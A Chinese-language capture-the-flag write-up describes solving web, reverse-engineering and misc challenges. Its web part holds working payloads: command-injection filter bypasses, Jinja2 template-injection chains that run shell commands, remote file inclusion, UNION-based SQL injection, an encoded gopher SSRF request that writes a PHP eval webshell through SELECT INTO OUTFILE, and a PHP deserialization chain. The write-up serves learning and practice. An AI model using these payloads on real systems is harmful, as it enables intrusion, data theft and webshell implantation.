2026云曦见面考复现

发布时间:2026/6/26 12:57:30

2026云曦见面考复现 一.Web1.hello_rce打开环境看到一个PHP命令执行界面但是发现过滤了很多函数一般我们常见的都被过滤了看到下面有个提示试一下这个提示scandir(.)表示返回当前目录中的所有文件和目录返回的是一个列表print_r(scandir(.))表示输出这个返回的列表我一开始想的是读取flag文件的内容用array_reverse()将得到的数组内容反转然后用next()将内部指针指向数组的下一个元素也就是flag文件然后输出这个文件的内容但是我知道那几个读取文件的函数都被过滤了比如file_get_contents()show_source()readfile()highlight_file()这里归咎还是自己知识不够然后再补充几个读取文件内容的函数file()用于将整个文件读取到一个数组中每一行作为数组的一个元素包括换行符。include()它的本质是读取文件的内容然后解析并执行PHP代码但是如果没有PHP代码就会直接输出文件内容既然include()可以那么require()应该也可以然后这里还有一个函数没有被过滤passthru()但是我做题的时候忘记ls被过滤了所以我使用passthru(ls);时它提示我被安全过滤器屏蔽了我以为是passthru()被过滤了现在再来看其实是ls被过滤了所以做题还是要细心既然psaathru()没有被过滤那么我们就查看一下目录使用${IFS}代替空格然后再读取一下flag文件的内容cat被过滤了可以使用tacsortnl命令这里我重开了环境所以flag值不一样这里要注意不能使用双引号来引用因为双引号会解析变量${IFS}会被替换为空最终给系统的命令是tacflag单引号不会解析变量因此${IFS}被视为纯文本字符串shell接收后将${IFS}解析为空格执行tac flag还有一个方法是使用include()直接读取flag文件因为flag文件是在当前目录下一般flag文件就是放在/var/www/html目录下这个可以记一下2.新东西打开环境看到一个输入内容的输入框然后输入的东西会被回显到页面我一开始还以为是考XSS漏洞看到提示是ssti先去了解一下sstissti是服务器端模版固定好格式可以直接填充的东西注入它的漏洞原理就是服务器端没有对用户输入进行过滤就将用户输入带入到Web应用模板导致了模板引擎将数据和模板结合起来动态生成 HTML 页面在进行编译渲染时执行了用户输入的语句SSTI漏洞利用的基本流程就是获取当前类 - 获取其object基类 - 获取所有子类 - 获取可执行shell命令的子类 - 获取可执行shell命令的方法 - 执行shell命令类本身不会执行命令通过子类的方法找到os模块再用os执行命令。我们一般使用{{ }}来判断是否存在ssti漏洞因为使用其他符号可能尝试误判{{ }}几乎是专属的模板引擎{{ }} 是模板语法中的变量插值符号它的核心作用是将变量或表达式的值嵌入到文本中我们输入{{7 * 7}}试一下发现给我们回显的是结果但是在源码里我们没有看到{{ }}因此这不是前端模板而是服务器计算7*7的结果然后浏览器回显到页面上所以判断这是SSTI漏洞接下来判断一下是哪个模板类型当注入{{7*7}}如果执行成功回显7777777说明是Python jinja2模板如果回显是49就说明是PHP Twig模板。看到回显7777777判断是Python jinja2模板这类模板的特点是使用 {{ }} 作为表达式包裹符需要通过对象继承关系链_class__bases__subclasses_去寻找可利用的类和方法。继承关系是指当当前子类无可利用的方法时可由当前子类从其object基类找到其他子类的可利用方法object是父子关系的顶端所以的数据类型最终的父类都是objectobject可以获取所有子类魔术方法__class__于返回该对象所属的类比如某个字符串他的对象为字符串对象而其所属的类为class str__bases__以元组的形式返回一个类所直接继承的类。__base__以字符串返回一个类所直接继承的第一个类。__mro__返回解析方法调用的顺序。__base__返回tset()的两个父类__mro__查看类的继承链从当前类一直到 object__subclasses__()获取父类下的所有子类魔术方法__init__所有自带类都包含init方法它是类的构造函数创建对象时自动调用__globals__这是函数的属性用于访问函数所在模块的全局变量字典相当于一个字典装着函数能用的所有东西function.__globals__用于获取function所处空间下可使用的模块、方法以及所有变量。__builtins__访问 Python 内置函数和异常如 open、eval、exec构造payload来查看一下所有子类因为我已经试过{{.__class__.__base__.__base__}}它的回显是None所以它的父类就是object也可以使用{{.__class__.__mro__}}来查看当前类和所以父类按继承关系排知道object都会发现我构造的这个payload的当前类的父类就是object当前所以构造{{.__class__.__base__.__subclasses__()}}这里要使用__base__因为__subclasses__()的作用是获取父类下的所有子类这里得到了子类接下来就是找到能执行shell命令的子类因为最终的目的都是为了拿到os模块或者能直接执行命令的入口所以这里遍历子类有三类目标一类是自带命令执行也就是类本身有popen或者system方法比如 subprocess.Popen , os._wrap_close另一类是模块导入os就是__init__.__globals__里有os比如 warnings.catch_warnings还有一类就是有__builtins__的能通过__builtins__动态导入这里列一下几个常见的1.os._wrap_close- 最直接的os模块入口基本语法{{ .__class__.__mro__[2].__subclasses__([ ].__init__.__globals__[os].popen(whoami).read() }}popen() 打开一个管道到命令返回一个文件对象可以像读文件一样读取命令输出.read() 读取文件对象的所有内容2.subprocess.Popen- 直接执行命令不需要os基本语法{{ .__class__.__mro__[2].__subclasses__()[261](whoami, shellTrue, stdout-1).communicate()[0] }}shellTrue 表示通过系统shell执行命令shellFalse 时默认值命令必须作为列表传入stdout-1 表示捕获输出可以通过.communicate()获取communicate()[0] 就是取返回元组的第一个元素即标准输出3.warnings.catch_warnings- 经典入口经常包含os4._sitebuiltins._Printer- 另一个常用入口经常包含os__init__.__globals__这个我觉得可以理解为__init__就是得到我们需要的类的初始化函数__globals__就是给我们这个函数能看到的全局变量字典如果我们要使用os模块因为类本身不直接包含os但类的出生环境全局变量可能包含os所以我们需要用__init__.__globals__来连接所以我们要得到含有os的类的索引因此构造payload{{.__class__.base__.__subclasses__()[].__init__.__globals__[os].}}因为__globals__是字典所以要用[ ]来访问如果是属性要用 . 来访问这里我没有找到合适的脚本然后数了一下我使用的是os._wrap_close这个子类构造payload{{.__class__.__base__.__subclasses__()[132].__init__.__globals__[os].popen(whoami).read()}}发现报错了原因是这个超全局字典里面没有os这个属性尝试直接调用popen函数发现成功调用接下来就执行RCE漏洞构造payload{{.__class__.__base__.__subclasses__()[132].__init__.__globals__[popen](ls /).read()}}读取一下flag文件构造payload{{.__class__.__base__.__subclasses__()[132].__init__.__globals__[popen](cat /flag).read()}}关于SSTI漏洞要再重新写一篇文章来学习一下3.让我看看打开环境看到一个文件预览的输入框输入一个index.php文件试一下提示文件名不能含有 . 试一下/ect/passwd这是一个 文本文件用于存储本地用户账户的静态信息看到回显了很多本地用户账户的信息疑似本地文件包含漏洞然后看到提示是远程文件包含这里应该是有一个文件包含漏洞我对文件包含漏洞的理解就是include或者require等包含函数的参数能被用户控制然后没有对用户的输入进行严格过滤导致用户的输入的内容被作为文件路径从而被显示或者解析远程文件包含我认为就是攻击者构造恶意的URL来让这个存在用户输入的文件加载并执行这个恶意URL的内容但是这个URL要能被这个存在文件包含漏洞的URL访问而且必须满足allow_url_includeon但是这里我们无法查看php.ini文件不知道allow_url_include是否是开启的但是这里我们看到有一个内网反弹shell专用靶机它的IP地址与本题的IP地址是一样的证明他们是在同一个内网环境中代表他们之间是互通的可以互相访问因此我们不能直接利用本题的远程文件包含漏洞但是可以通过控制内网反弹shell专用靶机在内网反弹靶机里写入一个一句话木马文件让本题访问这个靶机的一句话木马文件然后利用文件包含漏洞执行这个一句话木马文件访问一下内网反弹shell专用靶机SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.13表示是标准的 SSH 协议标识字符串也称为 banner。OpenSSH 8.9p1表示该服务器运行的是OpenSSH 8.9p1。3ubuntu0.13通常对应某个 Ubuntu 发行版的安全更新或补丁版本Invalid SSH identification string这个错误通常出现在客户端或中间代理/扫描工具尝试连接 SSH 服务时收到了不符合预期格式的标识字符串。了解一下SSH协议它是一种基于加密的网络协议用于在不安全网络如互联网中安全地进行远程登录、文件传输和命令执行。在终端中连接SSH协议的语法是ssh usernameyour_server_ip这里我们还要指定端口查看了一下根目录然后随便找一个目录写了一个一句话木马但是文件名不含有 .然后使用这个文件预览访问一下这个文件发现还是提示我们不能含有 .用一下IP地址在线转化器这里我这三个都试了发现都访问不了然后我想在shell文件里写入 phpinfo(); 这样的话如果成功执行一句话木马就能看到phpinfo()页面然后我在终端里重新写入了然后读取了一下我写入的文件但是这里读取会发现写入的POST被过滤了试一下会发现GET也被过滤了那么试一下写 phpinfo(); 来看一下再来试一下文件包含发现不管用几进制都不可以这里问了一下复现完的同学原因是题目中的IP是公网IP在内网中他们拥有各自的IP如果我们想要通过本题来访问靶机IP我们需要知道该靶机在内网中的真实 IP这里不止需要内网的IP也需要一个端口来帮我们连接由于PHP 的 include()file_get_contents() 等函数在处理 http:// 时会发起标准的 HTTP 请求但是SSH 靶机默认只开了 22 端口SSH 协议也可以用 ss -tuln 命令来查看开启的端口没有 HTTP 服务所以 Web 主机无法用http://...去读它因此我们要在 SSH 靶机上手动启动一个临时 HTTP 服务器让它把文件通过 HTTP 暴露出来这里要使用到 python3 -m http.server 8000 命令8000 表示指定服务器监听的端口号然后连接这里用十六进制连接的话注意十六进制的IP前面要加上0x十进制也可以4.Shadow Archive System打开环境看到一个注册用户框还有一个通过ID查看用户的框随便注册一下发现注册成功后注册的信息用ID能被查询到也就是我们注册成功后输入的ID被带入到数据库里查询如果ID存在的话就会回显出这个ID的注册信息很像SQL注入试一下SQL注入提示成功注册注册的ID为4查询一下试试发现成功得到数据库名再来爆一下表名构造payload1 union select 1,2,group_concat(table_name)from information_schema.tables where table_schemactf #得到注册成功ID为5查询一下试试再查询一下列名构造payload1 union select 1,2,group_concat(column_name)from information_schema.columns where table_nameflags #成功注册后得到ID为6使用ID查询一下最后爆字段构造payload1 union select 1,2,group_concat(flag)from ctf.flags #成功得到flag5.网页源码查看器打开看到一个网页预览的页面发现访问index.php等文件都无法访问扫描目录然后我直接访问也没有什么有用的信息然后看到提示有SSRF漏洞先了解一下这个漏洞SSRF漏洞服务器端请求伪造的漏洞是一种攻击者利用服务器的可控输入来诱导服务器访问攻击者指定的地址也就是这里的网页预览这里我用抓包试了好几个伪协议file://协议用于直接读取服务器本地文件系统内容dict://协议用于探测端口开放情况gopher:// 被称为“万能协议”可构造任意TCP数据包支持GET/POST请求甚至与Redis、MySQL、FastCGI等交互php://协议 PHP特有协议可访问输入流、内存流等结合php://filter可读取源码。jar://协议 可加载远程或本地JAR包部分Java环境下可利用。发现file://dict://和http://协议都被过滤了php://filer也不可以使用但是gopher://可以使用gopher://发送的是原始的数据因此我们构造的payload需要编码试一下使用gopher://来访问一下本地主机地址回环地址但是我们会发现报错了发现报错原因是127.0.0.1的70端口没有运行任何服务原因是gopher://协议是默认访问70端口但是访问本地的端口是80因此还需要再确定一个端口才可以访问到127.0.0.1然后我们一开始扫描到了这里有一个db.php文件现在我们连接到了本地主机那么我是试一下能不能让他自己来访问自己内部的db.php文件这个回显里面的 400 Bad Request 表示客户端发送的请求语法错误服务器无法理解从Your browser sent a request that this server could not understand也能知道我们的请求有误Apache/2.4.54 (Debian) Server at 172.1.1.144 Port 80中Apache/2.4.54 (Debian)表示Web服务器软件是Apache版本是2.4.54操作系统是DebianServer at 172.1.1.144 Port 80表示服务器知道自己被访问的 host 是 172.1.1.144host 头的作用相当于告诉服务器 我想访问你这台机器上的哪个网站但是在我们构造的payload中由于我们没有在 HTTP 请求中告诉 Apache 我们想访问哪个网站即Host头于是 Apache 只能根据它自己绑定的 IP172.1.1.140来回应所以错误页面显示的是它自己的真实内网地址。因此我们要访问回环地址的话需要构造正确的host这里就要知道gopher://协议的基本语法gopher://host:port/_TCP数据流_后面的内容会被URL 解码应该构造 gopher://127.0.0.1:80/_GET /db.php HTTP/1.1\r\nHost:127.0.0.1\r\n\r\n但是前面提到构造的payload需要编码因此最终payloadgopher://127.0.0.1:80/_GET%20/db.php%20HTTP/1.1%0D%0AHost:127.0.0.1%0D%0A%0D%0A根据得到的这个一些信息用户名是root密码是空数据库名是testweb根目录是/var/www/html这里我看到提示是ssrfSQL写马然后搜到一篇文章但是这里我还是听已经复现了得同学说可以看看得到的这个脚本生成的页面但是我没有从这个里面得到什么信息然后回到我看到的那篇wp是讲无密码的sql然后要用到工具 Gopherus主要用于生成Gopher协议Payload以利用服务器端请求伪造SSRF漏洞并实现远程代码执行RCE用gopher协议打mysql的一个工具先下载一下这个工具然后这里我们要使用的是无密码的mysql因此要构造python2 gopherus.py --exploit mysql 这个命令使用gopherus.py生成mysql类型的攻击载荷这里我输入的是一句话木马将?php eval($_POST[x]); ?写入根目录下的shell.php文件但是这里一定要将生成的payload进行再次编码因为受害服务器使用这个payload时会先进行一次解码然后解码后的字符串发起 Gopher 请求此时它应该还处于一个编码状态但是这里我试了很多次也进行了编码但是文件一直无法上传原因是因为我这个payload是给sql数据库发包但是我是应该给db.php发包的所以我的一直无法上传然后再想到db.php的内容它是有一个SQL查询语句的然后有一个POST传参的参数参数名为sql提示是sql写马那么试一下使用sql写入一句话木马select ?php eval($_POST[x]); ? into outfile /var/www/html/shell.php 这条语句利用MySQL的 SELECT INTO OUTFILE 功能在服务器上写入一个文件TCP数据流为gopher://127.0.0.1:80/_POST /db.php HTTP/1.1Host: 127.0.0.1Content-Type: application/x-www-form-urlencodedContent-Length: 81sqlselect ?php eval($_POST[x]); ? into outfile /var/www/html/shell.php;编码一次后的内容是gopher://127.0.0.1:80/_%50%4f%53%54%20%2f%64%62%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%38%31%0d%0a%0d%0a%73%71%6c%3d%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%78%5d%29%3b%20%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%68%65%6c%6c%2e%70%68%70%27%3b%0d%0a这里如果直接在前端发送的话编码一次就可以因为浏览器自动做 URL 编码服务器解析后gopher收到的还是原始协议使用蚁键连接如果直接使用BP发包的话需要再次编码编码后成功发送蚁键连接得到flag6.你已急哭打开环境看到源码分析一下?php error_reporting(0); highlight_file(__FILE__); class Entry { public $handler; public function __destruct() { if (isset($this-handler)) { echo 你已急哭; $result $this-handler-handle(); echo $result; } } } class Processor { public $callback; public $argument; public function handle() { if (is_object($this-callback)) { echo 哟不错嘛; $result ($this-callback)($this-argument); return $result; } echo Processor::handle() callback不是对象!; return Invalid handler!; } } class FileReader { public $filename; public function __invoke($arg) { echo 加油啊终点就在前方了!; if ($this-filename /f1ag.php) { echo 666这还说啥了flag给你了。; $flag getenv(FLAG); echo Flag: . $flag . ; return ; } else if (file_exists($this-filename)) { echo 文件存在但不是目标文件...; return file_get_contents($this-filename); } echo 文件不存在!; return File not found!; } } class Logger { public $logfile; public $content; public function __toString() { return Logger output!; } public function handle() { return Logger handler!; } } if (isset($_GET[data])) { $data $_GET[data]; if (strlen($data) 1000) { die([-] Payload太长!); } unserialize($data); } else { echo 提交方式: ?data你的payload; } //Hint: 目标文件路径是 /f1ag.php 提交方式: ?data你的payload分析一下class Entry表示定义一个类public $handler;表示这个类里面有一个公共属性公共属性的名称是 handlerpublic function __destruct()表示这是一个公开的魔术方法__destruct()是在对象被销毁前的最后一刻自动调用的方法它的主要职责是执行清理工作isset($this-handler)表示检测handler的属性值是否存在且不为NULL$result$this-handler-handle();表示调用handler的handle函数这里我感觉也不是很好理解因此可以让$this-handler new Processor()$this-handler-handle() 调用 Process 类里的 handle 方法class Processor表示定义一个类public $callback; public $argument;表示这个类里面有两个公共属性公共属性的名称分别是 callback和 argumentpublic function handle()表示这是一个公开的函数函数名为handleis_object()检验变量是否是一个对象handle()的作用是检验当前类的callback的属性值是否是一个对象如果是输出 哟不错嘛()()这是PHP 中调用可调用变量Callable Variable的标准写法($this-callback)($this-argument)表示把callback的属性的值拿出来作为函数或者方法把argument的属性的值拿出来作为参数值返回结果存储到result如果不是输出 Processor::handle() callback不是对象!返回 Invalid handler!class FileReader表示定义一个类public $filename表示这个类里面有一个公共属性属性名为filenamepublic function __invoke($arg)表示这是一个公开的魔术方法__invoke()方法是当尝试以调用函数的方式调用一个对象时也就是当一个对象被当成函数使用时__invoke() 方法会被自动调用。__invoke()方法的作用是输出 加油啊终点就在前方如果filename属性的值为 /flag.php输出 666这还说啥了flag给你了得到flag如果filename的属性的值不是 /flag.php输出 文件存在但不是目标文件返回属性的值的文件内容如果文件不存在输出 文件不存在class Logger表示定义一个类public $logfile; public $content;表示这个类里面有两个公共属性公共属性的名称分别是 logfile 和 contentpublic function __toString()表示这是一个公开的魔术方法__toString()用于在对象被当作字符串使用时自动调用。被调用时返回 Logger output ! handle()被调用时返回 Logger handler!$data$_GET[data]表示定义一个变量变量名为data变量的值为GET传参的参数值参数名为data如果data的长度大于1000输出Payload太长了终止代码执行然后反序列化data的值如果data的值小于1000输出 提交方式?data你的payload因此这里的链是从GET进行输入输入的内容使用unserialize来反序列化然后脚本结束触发__destruct()方法__destruct()方法里面的$this-handler调用了Process的handle函数handle函数里面的($this-callback)是将一个对象被当成函数使用而这个对象必须含有__invoke的方法影刺这个对象是FileRead从而调用了__invoke方法__invoke方法里面的$this-filename为 /flag.php时得到flag先构造一下 FileRead 类的payloadO:10:FileReader:1:{s:8:filename;s:9:/flag.php}由于callback的属性值是 FileRead再构造 Processor 类的payloadO:9:Processor:2:{s:8:callback;O:10:FileReader;s:8:argument;s:1:a}由于handler的属性值是Processor最后构造 Entry 类的payloadO:5:Entry:1:{s:7:handler;s:9:Processor}合起来构造payload为?dataO:5:Entry:1:{s:7:handler;O:9:Processor:2:{s:8:callback;O:10:FileReader:1:{s:8:filename;s:9:/f1ag.php;}s:8:argument;s:1:a;}}二.Reverse1.future_flag下载一下这个应用程序查一下有没有壳发现没有壳直接用IDA32打开然后查找一下字符串看到一个恭喜你猜测可能含有什么信息定位分析一下大概看一下先分析一下关键部分看一下byte_405020的内容然后异或hex string (unspaced)表示导出为连续的十六进制字符串无空格分隔。hex string (spaced)导出为连续的十六进制字符串有空格分隔。string literal导出为 C/C 风格的字符串字面量带引号自动转义特殊字符。示例Hello或He\x6clo如果包含非打印字符unsigned char array (hex)导出为 C 语言中的unsigned char数组元素用十六进制表示。unsigned char array (decimal)导出为 C 语言中的unsigned char数组元素用十进制表示。initialized C variable导出为一个完整的 C 变量声明并初始化可能包括类型、变量名等。Save data to clipboard保存到剪贴板我给他提取为十六进制数组然后得到byte_405020的内容再用快捷键转换一下0x42的值用一个脚本来解密得到flag2.Portable_Executable使用010Editor查看一下发现文件头混合了很多但是PE文件的文件头是MZ修改一下修改后保存一下然后修改一下后缀为.exe运行一下可以运行放进Die里面查看一下用IDA分析一下查看一下get_flag()的内容得到Str2的值为 Yunxi{PE_StrUctUre_PeeeEEe!}v3表示从标准输入读取最多读取99个字符储存到Buffer里面将Buffer里面的\n换成\0比较Buffer和Str2的值如果相等输出flag正确这里什么运算都没有得到的Str2就是flag3.interested_code使用010查看一下看到是PE文件修改一下后缀查看一下程序可以正常运行用Die查一下壳放进IDA分析一下查看一下get_flag函数得到flag的值为Yunxi{TrY_to_uNDerSTand_tHE_CoDE}将flag的值复制到Destination里面v8为Destination的值的长度对Destination的值进行循环如果Destination的值里面含有T则让T变成ASCII码为116的值如果Destination的值里面含有o则让T变成ASCII码为48的值Destination的值里面含有r则让r变成ASCII码为82的值比较变换后的Destination与输入的值如果相等输出flag正确也就是说经过变化的Destination的值就是正确的flag写一个代码来运算一下得到flag4.美人鱼的传说认真读一下题目描述下载解压压缩包放进010看一下修改一下后缀然后运行一下程序这里我们随便输入一个flag会跳出大量弹窗这个时候就要用到题目的 单击鼠标后按Esc键然后用Die查看一下发现得到的信息挺多的然后如果我们直接用IDA64打开分析是分析不了的这里我们了解一下IDA得到的信息打包工具: PyInstaller[overlay; modified]表明该.exe文件是由PyInstaller打包生成的。PyInstaller 是将 Python 脚本打包成独立可执行文件的工具。因此这个程序应该是由 Python 脚本使用 PyInstaller 打包而成的程序下载一下附件的压缩包PyGlimmer.zipPyGlimmer是一个用于Python逆向工程的工具主要用于解包和反编译PyInstaller打包的程序PyInstaller解包: 提取和分析PyInstaller可执行文件批量反编译:同时处理多个pyc文件PYC解密:支持PyInstaller加密字节码字节码分析:十六进制/文本/字节码查看因为这是一个被PyInstaller打包的可执行文件因此我们使用PyInstaller来解包然后再来看一下解包后的文件看到一个flag.txt文件查看一下发现是一个提示提示我们要运行程序检验一下然后再查看一下看到最上面的几个文件夹_tcl_data和_tk_data分别是用来存放Tcl/Tk的数据文件和Tk图形库的数据资源importlib_metadata-8.7.1.dist-info是用来存放importlib_metadata的元数据信息PIL是Python Imaging LibraryPIL或 Pillow 的模块。PYZ.pyz_extracted包含从PYZ-00.pyz解压出来的所有.pyc文件Python 编译后的字节码按照原始导入路径组织成树状结构.pyz文件是一个将 Python 源代码、依赖库以及启动脚本打包在一起的ZIP 压缩文件可以直接被 Python 解释器识别并运行无需手动解压。setuptools是Python 的构建工具包。tcl8是Tcl 语言的运行时库。那么我们看一下PYZ.pyz_extracted文件夹下面的内容看到一个flag.pyc文件.pyc文件是Python的字节码文件因此需要用 PyGlimmer 来反编译将字节码还原为近似原始的 Python 源码.pyc 的内部结构随Python版本变化PyInstaller 打包时会嵌入特定版本的 Python 解释器如 3.9、3.10而 .pyc 文件就是按那个版本生成的使用 PyGlimmer 的单文件反编译来反编译一下 flag.pyc 文件反编译器那里有四个选项uncompyle6适用版本Python 2.7, 3.3 ~ 3.9decompyle3适用版本Python 3.7 ~ 3.11pycdc直接解析 CPython 的字节码pycdas是pycdc的配套工具不是反编译器得到一个flagYunxi{PYthon_Decompile_Is_FUn..}但是我们提交会发现这是一个假的flag这个时候就要用到flag.txt的提示运行一下程序得到真正的flag另外一种是使用命令行来解包下载一下 pyinstxtractor然后来解包在cmd里面执行python pyinstxtractor.py 命令但是我们会发现我们用命令行提取出来的文件夹里面的.pyz_extracted是空的原因是程序是用Python 3.9打包的但我运行 pyinstxtractor.py 时使用的 Python 环境不是 3.9需要安装python 3.9 才可以然后使用命令 python3.9 pyinstxtractor.py 美人鱼的传说.exe 来解包然后使用 pip install 来安装反编译工具例如pip install uncompyle6我没有下载python 3.9就不写这个过程了5.bad_base下载解压压缩包放到Die里面看一下看到有UPX壳并且这个UPX壳可能是变种UPX壳放到010里面查看一下修改一下壳再脱壳放进IDA分析一下v3表示从标准输入Buffer表示从v3最多读取99个字符然后将Buffer的值里面的\n换成\0看到一个process_user_input()函数点击分析一下分析一下大概逻辑这个函数有三个参数将第一个参数的值复制给Destination看到一个xor_encrypt()函数点击分析一下这个函数名已经告诉我们这是一个异或算法打开函数也可以发现这个函数使用第一个参数来与第三个参数异或然后得到新的第一个参数xor_encrypt(Destination, (unsigned int)v5, 51i64);也就是表示将Destination(Buffer)与51异或得到一个新的Destination的值再回到process_user_input函数看到一个base64_encode()函数点击分析一下看到一个init_base64_table()函数点击看一下大概分析一下就是把lPoyIsWhZSjt/wJGeb1dD5fqr4nYa6HKuTXNOEmV0MxgkL8932CzRvQAUFp7iBc复制给base64_table这里就是一个自定义base64编码函数再回到main()函数接着往下看看到get_encoded_flag()函数依旧看一下这个函数strcat()用于将一个字符串追加到另一个字符串的末尾。strcat(full_flag, _data_start__[i]);_data_start_[i]表示_data_start_里面含有6个字符串片段然后将这6个字符串片段追加到full_flag那么我们要看一下_data_start_[i]的值在这里得到_data_start_里面的6个字符串片段也就是得到了full_flag的值也就是encode_flag的值为nN461R0ZaqSl6uDhYh0uYIsvDOiKnE3vDEPMYI6aYIsvDs3zqq0S6TZ1INA最后来总结一下这个函数的作用我们输入flag这个flag会被存到Buffer里然后Buffer经过异或运算再经过base64_encode函数加密得到一个新的值Str1然后又有一个名为encode_flag的值这个值是由get_encoded_flag函数得到的encode_flag函数的值最后比较encode_flag和Str1的值如果相等则输出flag正确也就是说我们已经知道了base64_encode函数加密后的值因此我们要先解密然后再异或就能得到正确的flag先解码一下这个自定义base64函数得到异或后的字符串然后再异或一下得到Buffer的值也就是flag这里如果我们直接用加密后的值去异或会发现这是一个假的flag这里有一个报错信息意思是Python 字符串中包含了反斜杠 \ 开头的字符组合但 \t 不是有效的转义序列。如 \n 、 \t 、 \r 等因此这里可以在前面加一个 r 字符串前加 r 表示原始字符串不处理转义或者 用 \ 转义三.Misc1.todays secret打开发现是一个摩斯密码的音频可以使用Audacity来打开Ctrl加滚轮来放大也可以用随波逐流来注意要换成小写2.师兄的密码下载解压压缩包得到一张图片使用010查看一下看到文件尾有一个rar文件使用随波逐流提取一下发现提取了一个压缩包打开却发现要密码这里可以使用随波逐流爆破一下得到flag3.键盘成精我被辅修了下在解压附件得到一个zip文件用010查看一下是一个.zip文件修改一下后缀再解压得到一篇文章看到提示是零宽度字符解密但是这里使用我的文档打开来好像是破坏了结构所以我解密得到的乱码4.无声的诗行下载解压压缩包得到一个.png文件然后发现无法打开图片使用010查看一下发现文件头有误修改一下得到一张图片查看一下这张图片根据题目描述眼睛看不见用指尖触碰得到这是盲文加密找了一张图片来进行解密得到盲文解密是Hello_World

相关新闻